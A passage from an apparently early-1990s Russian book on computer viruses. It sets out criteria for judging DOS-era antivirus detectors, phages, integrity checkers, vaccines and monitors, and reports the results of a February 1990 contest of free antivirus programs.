возможность визуального просмотра дампа найденных файлов;
использование эвристических приемов детектирования (диагностиро-
вание "подозрительных" переходов до 4К от конца файла, специальных
последовательностей команд и др.);
наличие средств сокращение количества ложных срабатываний при
поиске (комбинирование сигнатур, использование регулярных выраже-
ний, определение точки входа и др.);
операции с найденными файлами (удаление копирование, переимено-
вание и т.д.)
диагностирование "спецслучаев" типа программ, сжатых LZEXE,
EXEPACK, программ c внутренней сегментацией и др.;
Первым критерием оценки качества детектора является наличие про-
верки оперативной памяти на сигнатуры вирусов. Дело в том, что хо-
тя детекторы не должны запускаться на машине, загруженной с вин-
честера (т.е. потенциально зараженной), полагаться на
добросовестность пользователей было бы опрометчиво. Качественный
детектор должен иметь режим выдачи протокола на принтер в виде от-
чета, а также режим просмотра дампа найденного файл на экране
дисплея. Лучшие из детекторов помимо поиска сигнатур используют
ряд эвристических приемов, позволяющих выявить потенциально опас-
ные программы. Одним из таких приемов является интерпретация пер-
вой команды в COM-файлах и определение расстояния от точки, в ко-
торую передается управление, до конца файла. В случае, если это
расстояние меньше, скажем 4K (вообще порог срабатывания следует
задавать как параметр), такую программу необходимо подвергнуть до-
полнительнуму анализу.
Следует иметь в виду, что сигнатуры, используемые в детекторах
часто являются весьма несовершенными, что приводит к многочислен-
ным ложным срабатываниям. При этом качество выдаваемых детекторами
диагностических сообщений часто крайне низко, а их текст настолько
непродуман, что вызывает "ложную тревогу" и различные недоразуме-
ния. Обычно, чем более прост детектор, тем категоричнее выдаваемые
им сообщения. Так, большинство детекторов, основанных на простом
поиске в файле определенной, характерной для данного вируса строки
(т.е. обладающие теми же возможностями диагностики, что и Norton
Utilities или PC Tools) в случаях, когда она найдена, выдают "са-
моуверенное" сообщение типа:

Файл XXXX заражен вирусом ZZZZ.

На самом деле текст должен выглядеть гораздо скромнее, например:

На расстоянии YYYY от конца файла XXXX найдена строка,
характерная для вируса ZZZZ.

В этом плане характерен пример весьма популярного в нашей стране
полидетектора SCAN фирмы McAfee Associates, который детектирует
наибольшее число известных вирусов. Этот весьма низкокачественный,
по сути любительский детектор дает много ложных срабатываний, в
частности, для вирусов RC-1701 и Fu Manchu. Тем не менее пользова-
тели упорно считают выдаваемую им диагностику "окончательным и не
подлежащим обжалованию приговором". Автору, как редактору бюллете-
ня СОФТПАНОРАМА, приходится отвечать на множество звонков, "сигна-
лизирующих" о наличии вирусов в той или иной программе, включенной
в очередной выпуск бюллетеня. На вопрос, "Как это Вам удалось ус-
тановить?", обычно следует стандартный ответ: "С помощью SCAN.".
Поэтому при входном контроле программного обеспечения рекомендует-
ся применять несколько детекторов ("батарею") и рассматривать вы-
данные сообщения как результаты голосования. В спорных случаях
следует провести визуальный анализ дампа с помощью таких средств
как Norton Commander, PC Shell или Norton Utilities.
Другой ошибкой, характерной для детекторов является пропуск за-
раженных вирусом программ (детектор обычно ориентирован на конк-
ретный набор характерных для вируса строк и не может учитывать
возможность появления новых штаммов). Например, тот же SCAN про-
пускает ряд распространяющихся в нашей стране вирусов. Поэтому вы-
даваемое детекторами в конце работы сообщение типа

Нет зараженных файлов

следует рассматривать под тем же углом, что и предыдущее сообще-
ние. Кроме того, пропуск зараженных программ детектором возможен
из-за "непродуманной оптимизации". Например, ряд детекторов для
повышения скорости работы сканируют не весь файл, а только его
последние несколько блоков. В случае, если вирус "аномально" сел в
середину файла, он будет таким детектором пропущен.
Следует также отметить, что неэффективен запуск программ-детек-
торов для проверки архивированных файлов (т.е. файлов с расширени-
ями .ZIP, .ARC, .ICE, .LZH и т.д.). Для проверки программ, находя-
щихся в архивированном виде, необходимо предварительно их разархи-
вировать, или использовать специальную оболочку, автоматически ра-
зархивирующую каждый файл перед передачей детектору. В противном
случае детектор не в состоянии проверить содержимое архива, пос-
кольку соответствующие сигнатуры искажены в процессе сжатия инфор-
мации.
Для проверки архивов c помощью SCAN удобно запускать его из обо-
лочки SHEZ (версии 5.5 и более поздние), которая позволяет автома-
тически разархивировать проверяемые файлы. Это означает, что сов-
местимость со SCAN по передаваемым параметрам обеспечивает важный
и удобный режим работы. Тем самым, такая совместимость становится
важным критерием оценки качества детектора (как, впрочем, и фага).
Рассмотренные выше ошибки были характерны как для детекторов,
так и для фагов, поскольку фаг обычно включает в себя детектор.
Теперь перейдем к ошибкам, характерным только для фагов.

10.4.7.2. Сравнительный анализ полифагов
Помимо критериев, приведенных выше для полидетекторов, полифаги
можно оценивать по следующим критериям:
количество обрабатываемых вирусов;
обработка многократно зараженных файлов;
возможность управления временем создания файла (например, сброс
и установка 62 с. для заданных файлов);
самовосстановление при заражении вирусами (включая неизвестные);
лечение многократно зараженных вирусом программ (например, RCE-
1813);
выдача предупреждений при обнаружении файлов аномальной структу-
ры или нестандартных случаев заражения (типа заражения FOXBASE ви-
русом RCE-1813);
В настоящее время большинство полифагов ориентированы на фикси-
рованный набор вирусов и неэффективны против всех остальных типов.
Поэтому качество фага прежде всего связано с количеством вирусов,
которые он обрабатывает и правильностью его работы. Наряду с этим
показателем немаловажное значение имеет удобство интерфейса и вы-
дача более или менее подробного отчета. Такой отчет должен позво-
лять контролировать результаты "лечения" и включать помимо имени
файла и типа заражения хотя бы длину файла до и после "выкусыва-
ния". Кроме того, обнаружив какие-либо аномалии, фаг должен выда-
вать предупреждающие сообщения, а не "резать лишь бы резать". На-
личие качественной документации также является несомненным
достоинством, но, к сожалению, среди некоммерческих программ
встречается редко.
Как уже указывалось, по выполняемым действиям фаги, особенно
сканирующие всю файловую структуру, являются потенциально опасными
программами. Например, некоторые фаги проверяют тип файла не по
его первым байтам, а по расширению, что ведет к плачевным резуль-
татам при лечении EXE-программ с расширением COM или COMпрограмм с
расширением ЕXE. Поэтому применять новый, неопробованный фаг, сле-
дует только приняв необходимые меры предосторожности, в частности,
предварительно отделив зараженные программы от остальных и сняв
справки до и после лечения. Кроме того, встречаются фаги, заражен-
ные вирусами (часто другого типа) или даже вирусы, замаскированные
под фаги (на одной из первых дискет с антивирусными программами,
распространявшейся по стране, имелись две программы - ANTI86 и
ANTI87, которые представляли собой вирус С-648 с добавленными к
нему для камуфляжа сообщениями).
Подобно любой другой часто используемой программе, фаг может со-
держать троянскую компоненту. Например, если рассматривать пакет
антивирусных программ В.Бончева, то учитывая тот факт, что им
распрострялась дискета с текстами вирусов (хотя хочется надеяться,
что это была "ошибка молодости"), нет никакой гарантии, что в оче-
редной версии один или несколько фагов данного пакета не окажутся
троянскими, например будут лечить от одного вируса и заражать дру-
гим. В частности, один из вирусов, разработанных в институте ВМЕИ
"В.И.Ленин" (В. Бончев называет эту серию вирусов TP-вирусами),
модифицирует вирус "Итальянский попрыгунчик" и его несложно выдать
за резидентный фаг. Поэтому относиться к программам Бончева, учи-
тывая нездоровый интерес, проявляемый к его имени со стороны техно
-крысы Dark Avenger, нужно с осторожностью. Это, впрочем, относит-
ся к любой антивирусной программе, полученной из неизвестного или
сомнительного источника. Например, на Западе в одной из сетей
распространялась троянская программа, которая имитировала заставку
FluShot3, представляясь ее новой версией - FluShot4. При запуске
этой программы на экране появлялась заставка с запросом "Желаете
ли вы инсталлировать программу в систему?". Независимо от сделан-
ного пользователем ответа программа уничтожала системные блоки
винчестера и разрушала нулевой сектор на всех доступных дискетах.

10.4.7.3. Критерии оценки и сравнительный анализ ревизоров
возможность записи результатов ревизии в отдельный файл, или
распределения по отдельным подкаталогам;
возможность сохранять первые байты программы;
качество алгоритма подсчета контрольной суммы;
наличие режима сокращенного подсчета контрольной суммы;
диагностика аномалий в дате создания файла (например 62 секунд,
13 месяц, год из следующего столетия и т.д.)
возможность выдачи данных ревизии в виде отчета, с указанием
размера и даты создания, первых байтов;
возможность маркировки файлов перед передачей и снятия маркера;

10.4.7.4. Сравнительный анализ вакцин
количество обрабатываемых вирусов
самотестирование на заражение
нейтрализация резидентных вирусов или блокирование запуска на
зараженной машине
диагностирование зараженной программы
степень наводимых помех при работе

10.4.7.5. Критерии оценки сторожей
степень помех при работе
блокирование записи или форматирования по 13 прерыванию
блокирование изменений в ВООТ и MBR
блокирование несанкционарованной постановки программы в резидент
наличие звукового сигнала и управление им

10.4.8. О первом конкурсе антивирусных программ,
распространяемых бесплатно

В феврале 1990 года под руководством автора был проведен первый
конкурс антивирусных программ, распространяемых бесплатно. Конкурс
проводился в трех классах: фаги, детекторы и ревизоры, резидентные
фильтры и вакцины.
В классе фагов первое место заняла программа AIDSTEST Д.Н.Ло-
зинского, а второе место - программа DOCTOR А.А.Чижова. В классе
детекторов и ревизоров первое место занял ревизор DLI В.Герасимо-
ва, а второе место - контекстный детектор VL А.Л.Шеховцова. И, на-
конец, в классе резидентных фильтров два первых места поделили
программы SBM В.Еременко и Б.Мостового и программа CHECK21 В.Дво-
еглазова.
Результаты конкурса могут служить в определенной степени реко-
мендацией для указанных программ. Вместе с тем указанные жюри дос-
тоинства и недостатки этих программ относятся только к версиям,
существовавшим на январь 1990 г., и могут быть неверными по отно-
шению к последующим версиям.

10.4.8.1. Оценки и рекомендации жюри по полифагам

10.4.8.1.1. A I D S T E S T
Достоинства. Наличие документации удовлетворительного качества.
Правильный выбор режима работы по умолчанию (вызов вида AIDSTEST
<имя диска> выполняет нейтрализацию резидентных частей вирусов и
детектирование). Аккуратное «выкусывание» ТР-вирусов (оставляет
всего один-два байта»мусора»). Аккуратное «выкусывание» вируса Bx1
-1C (не оставляет на диске сбойный кластер). Самотестирование на
заражение (лечит себя тем же методом, что и остальные программы,
что, впрочем, нельзя считать правильным подходом). Пытается обна-
ружить и нейтрализовать в оперативной памяти резидентные вирусы
(хотя предусмотренную возможность работы после нейтрализации нель-
зя приветствовать — см. ниже. В таких случаях полифаг должен «нас-
таивать» на перезагрузке с защищенной дискеты). С момента появле-
ния был и остается бесплатно распространяемой программой. Ранние
версии были первым средством по борьбе с C-534 и RCE-1206, исполь-
зовавшимся в Киеве и применялись на второй стадии борьбы с

Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128